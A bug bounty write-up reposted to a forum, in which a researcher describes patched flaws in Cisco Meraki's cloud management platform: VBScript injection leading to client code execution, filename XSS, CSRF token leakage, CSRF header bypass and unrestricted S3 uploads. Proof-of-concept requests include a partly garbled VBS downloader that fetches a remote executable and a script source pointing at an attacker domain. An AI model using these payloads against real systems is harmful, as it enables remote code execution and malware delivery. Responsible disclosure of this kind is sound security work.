• A weekend with Cisco Meraki Bug Bounty, a tale of few web bugs .

    I was not much interested in bug bounties but the fact that I was interested in learning about Cloud Based products, and going through meraki made me a lot interested in there service. Meraki is a "cloud-managed network infrastructure company," whose products are designed to provide large-scale, distributed wired and wireless networks. An application to manage networks from cloud is big and cool to experiment for a hacker.

    So I decided to spent a week end of mine [ May 4th and 5th ] trying to understand there products and working and hacking them. All the bugs mentioned here are reported to them by may second week and patched .I am a lot thankful to meraki for giving this opportunity . I was not planning to post this bug report as there is nothing new in it, but later decided to blog about them. This was mainly because I see a lot of my friends who participate in bug bounties and get paid but I hardly get to see there bug reports :P . So even if this is small I decided to share it .

    Bug 1:

    Meraki System Manger:

    Is a remote management application to manage Windows|Linux|Android|Mac machines from the cloud.

    The meraki live tools, part of system manager application allows manager users to sent a message to the remote client.


    This allows the admin to sent a message to a connected client and the message would be displayed to the end user.

    Even though this feature is only supposed to display a message box to the end user, this is vulnerable to a remote code execution on the client user.

    How Send Notification works.

    On sending the following notification request on System manager app to client.

    POST /Systems-Manager/n/Vo6a5cI/manage/pcc/msg/582090251837638886 HTTP/1.1
    Host: n34.meraki.com
    Connection: keep-alive
    Origin: https://n34.meraki.com
    X-Requested-With: XMLHttpRequest


    The meraki client [m_agen-service.exe] communicates with the remote meraki server for fetching instructions. Once the notification text is received the applications writes it to a vbs file at %temp%/m_agent-msg.vbs with a message box code.
    With some reverse engineering I was able to figure this out.

    And later execute it using cscript.exe with the privileges of nt authority\system.

    The above functional architecture is pretty poor as well as no filtering is done on what text goes inside the vbs file.

    It is possible for an attacker to inject additional vbs code to the temp file and get it executed by truncating the message box code with a double quote.

    Poc code:

    POST /Systems-Manager/n/Vo6a5cI/manage/pcc/msg/582090251837638886 
               More vbs code here
              Ď Comment out second double quote
    This way itís possible to use the system notification option to download deploy a metsploit metpreter executable, or any other malicious applications. The following poc request | code download a remote file and write it to c:\1.exe .

    PHP Code:
    POST /Systems-Manager/n/Vo6a5cI/manage/pcc/msg/582090251837638886 HTTP/1.1

    u = "
    Set h CreateObject("MSXML2.XMLHTTP")
    Set s CreateObject("ADODB.Stream")
    h.open "GET"ufalse
    .Type 1
    .Write h.ResponseBody
    .Position 0
    .SaveToFile d

    Image from Internet:

    Impact And Recomendations:

    It is possible to use the same bug to get code execution on all connected clients using the above bypassing the X-header anti csrf method.

    Ruby on Rails, which is used by meraki has patched the header bypass issue, but the patches require meraki developers to fix their code to always send a CSRF token in Ajax requests. .

    Using Cscript to launch a message box would not a good idea.I am not adding recommendations here, as am not fully aware of the functional requirements for this feature.

    Now this is a bug in the remote client management interface the criticality is less since the application itself is a remote management software. The bug would be by default worse if this is posible form a non-admin account. There was a least privileged manager user, but I was not able to test from that user based on some difficulties I faced trying to register a non-manager account. I confirmed this with Jeo Pomes [meraki] and he confirmed that user was not vulnerable to this attack.

    Now inorder to make this more critical we need to find and XSS or CSRF bug , that way it would be Kaboom and mass pawning. So I found another bug for that.

    BUG 2:

    Bug 2: XSS in Systems Manager
    Criticality: Medium

    Affected Page:

    The Application where it accepts IOS configuration file does not properly sanitize the filename parameter. This allows an arbitrary payload injection.
    There is a small filtering in the backend on the filename, which could be easily bypassed. The filter only checks for [ ; , : , / , \ , Ē , ; ] characters. And if any of the above occurrences in the string is found, the input is truncated from that index.

    We can bypass the above filter by crafting a payload that does not require any filtered characters; an example of on such filename payload would be.

    POC replication:

    1) A configuration files with any of these filenames [possible on mac or Lnx ]

    2) Upload the configuration file at


    Bug 3: CSRF token leakage.
    Criticality: Medium

    The above bug can be used to leak the victim CSRF token.
    An interesting thing about the above bug is, itís possible to leak the CSRF token (authenticity_token) of the victim. Even though itís obvious that the tokens could be stolen using the above XSS, am trying to address a second issue here.

    The above page loads the following javascript.

    And if the crafted payload is a <script> tag with a source,

    then the above JavaScript will make an XHR request, crafting the following request.

    Here the victims &authenticity_token [token] and a parameter &_ [current time stamp] is passed on as GET request to the attacker controlled value sas.jpeg. With this bug itís possible for a remote attacker to steel victims tokens by making the source point to an attacker controlled domain, and steel the tokens.

    I was not able to find a filter bypass for http:// [:// ] . This could have been an option [http& # 58 ; & # 4 7 ; & # 4 7 ] but since ď ;Ē is filtered this does not work. But in older browsers something like this should work <script src="aa@attacker.com" >. This XSS can be triggered using the below mentioned CSRF protection bypass bug as well by a remote attacker. I went for help online from Amol naik and Lavakumar Kuppan and had a very good discussion .

    Now we have an XSS not quite useful but fun one. I also noticed this small issue that could lead to code execution using the first bug if the admin is using a vulnerable version of flash. The main reason for addressing on such bug is the fact that meraki system manager, that can send shell commands to remote users as well as the Bug 1 were we explained code execution and if there is small chance for CSRF then it would be pretty bad.

    Bug 4: CSRF Protection Bypass:
    Criticality : Medium

    Currently the CSRF protection for the application is taken care by two methods, 1) checking Ajax HTTP headers 2) by checking a CSRF token.
    The issue is if either one of the above conditions satisfies in a request then the request is validated. So even if the authentication_token is removed from a request and added with a X-Requested-With: XMLHttpRequest , the request would be successful. And under certain conditions it is possible to forge an X-requested with header.


    Under certain conditions the Ajax Http headers could be forged and custom http headers could be added there by defeating the application CSRF protection mechanism. The vulnerability affects meraki users who are running on low version of flash. Many critical calls in the application depend on Ajax headers for CSRF protection. So there by crafting a malicious flash page it would be possible to affect meraki users whoís browsers run a lower version of flash. A detailed write up of the bug could be read form here.


    Using the above issue the following poc exploit was prepared.

    POC 1:

    1) Send reports to attacker controlled email.

    POST /Live-Demo-Branch/n/sWS0Fa/manage/reports/email HTTP/1.1
    Host: n1.meraki.com
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:20.0) Gecko/20100101 Firefox/20.0
    Accept: */*
    Accept-Language: en-gb,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Referer: https://n1.meraki.com/Live-Demo-Bran...manage/reports
    Content-Length: 74
    Cookie: [striped]


    POC 2: CSRF Bypass, Client remote code execution.

    Meraki system manager, can send shell commands to remote users. This request ping a machine.

    POST /Systems-Manager/n/7iHAgbI/manage/pcc/command HTTP/1.1
    Host: n34.meraki.com
    Connection: keep-alive
    Content-Length: 53
    Accept: */*
    Origin: https://n34.meraki.com
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.65 Safari/537.31
    Content-Type: application/x-www-form-urlencoded
    DNT: 1
    Referer: https://n34.meraki.com/Systems-Manag...ge/pcc/command
    Accept-Encoding: gzip,deflate,sdch
    Accept-Language: en-US,en;q=0.8
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
    Cookie: __cfduid=


    The machine no in the current request could be bruteforced easily as the machine no 58209025183763[1-2-3-4] is not a random and falls in the same range. So we can make our flash program send request from 582090251837638[000] Ė 582090251837638[999]. Here remote command is a ping request; the attacker server could be notified by a successful attack by sniffing incoming ICMP packets.


    Having one such critical code execution feature makes it important that the application does not fully depend on a spoof able source like ďx-requested-withĒ headers, even though the chances are very less. Also if a new header-spoofing bug were discovered in java, flash etc, then all of merakiís products would be vulnerable. There for itís highly recommended to relay on access_token or x-request-header and access-token together.

    While understanding and finding a bypass for the above bug XSS bug I noticed few other issues, and I reported those as well to meraki :

    Bug 5: Malicious file uploading in meraki.

    The meraki system manager has got an option to configure a software installer for the clients.[ The module we found XSS on ]

    Based on the docunmentation here.


    Please keep in mind that you will only be able to deploy .msi files to Windows machines and .pkg files to Mac OS machines.
    The software management tool will only allow one type of file to be uploaded at once.
    It seems like the application is made to only accept .msi and .pkg files to be uploded . And also only one type at a time.

    But it was possible to bypass these restrictions to perform the following actions.

    1) Upload files with any file extension to Meraki amazon s3.
    2) Upload file to a different path than the root path.
    3) Upload any number of files to Meraki S3 account , and use Meraki s3 as a personal file sharing server.

    Based on our analysis , an opensource ruby on rails project [carrierwave direct ] was used on "/Systems-Manager/n/Vo6a5cI/manage/pcc/installer" page.

    Project: https://github.com/dwilkie/carrierwave_direct

    The current version of the carrierwave direct code powering meraki is outdated .

    1) Upload files with any file extension to Meraki amazon s3.

    It is possible to alter the fileupload post request to meraki-pcc-installers.s3.amazonaws.com and alter the file name
    to any extension of attackers choice. Only validation is done at client side and no server side validation is performed.

    Sample Request:

    POST /sas HTTP/1.1
    Host: meraki-pcc-installers.s3.amazonaws.com

    Content-Disposition: form-data; name="file"; filename="sas.mp3"
    Content-Type: application/octet-stream

    <?xml version="1.0" encoding="utf-8" ?>
    <!DOCTYPE cross-domain-policy SYSTEM

    Recreating the POC:

    Rename an Mp3 file to msi, upload the file and tamper the request and modify the file name to .mp3 extension.
    The application will upload the posted file and write to the dom that a msi file was uploded, but in reality the file uploded
    would be an mp3 file.

    Poc uploaded mp3 song :


    2) Upload Multiple Files to Meraki S3 account.

    It's possible to use meraki account as a personal file sharing space.

    Poc Files:

    http://meraki-pcc-installers.s3.amazonaws.com/475c5df1536ecdc194b7b4b630756242e450e201%2Ftest.pk g
    http://meraki-pcc-installers.s3.amazonaws.com/475c5df1536ecdc194b7b4b630756242e450e201%2Ftest.jp eg
    http://meraki-pcc-installers.s3.amazonaws.com/475c5df1536ecdc194b7b4b630756242e450e201%2Ftest.ex e

    3) Upload files to a different path than the upload root path.

    The upload code relies on the form-data key value to set the upload path, and that value is used with out filtering.

    POST /sas HTTP/1.1
    Host: meraki-pcc-installers.s3.amazonaws.com

    Content-Disposition: form-data; name="key"


    If we modify it to

    Content-Disposition: form-data; name="key"


    Then an attacker can create a file on the server root path.

    POC file created:


    Same way an existing file could be replaced with a malicious file as well. For example uploded chrome installer

    /key/chrome.exe could be replaced with a malicious exe , if a second post request is made using the same name.

    Consequences of the above exploits.

    1) A user can upload an malicious exe file and get it flagged by Amazon S3 or other URL monitors and get meraki-pcc-installers.s3.amazonaws.com
    account blocked or the domain blacklisted. Malware developers can use Meraki account as a malware controller.

    2) A user can use meraki s3 account as his/her personal file sharing space. I have already reported about creating multiple
    user accounts using a single [gmail]email id in my previous report. That technique can be used to create n no of accounts.

    3) Even though the open source code carrierwave_direct has got a file extension whitelisting and and file size limit,

    I don't find it configured properly on meraki.

    4) Unlimited file hosting for the attacker .


    Update meraki to the latest version of carrierwave_direct

    Filter all user controlled input for file name creation, set max|min file uploading size, set file extension whitelist.

    Miscellaneous aka Pointless:

    This section contains few observations that cannot be either classified as a security bug or that a poc exploit was not producible. I found worth mentioning it on the report so this was also included in my reports to cisco.

    Observation 1:

    It is possible to create multiple accounts under same email. This under certain scenarios could be dangerous.


    The application treats

    fb1h2s@gmail.com and fb1h2.s@gmail.com to be two different idís but gmail treats both the ids to be same. So n no of registrations can be made using a single email id. This could be fixed if necessary.

    Any way I had a productive weekend and some easy CASH[$$$] , so this bug hunting was fun profitable . Let me see when I can find time for more bounties.

    Rahul Sasi
    This article was originally published in blog: A weekend with Cisco Meraki Bug Bounty, a tale of few web bugs . started by fb1h2s
    Comments 2 Comments
    1. amolnaik4's Avatar
      amolnaik4 -
      Intelligent bugs I must say Well Done, fb1h2s
    1. prakhar's Avatar
      prakhar -
      Perfectly done! Awesome findings man
  • G4H Facebook

  • G4H Twitter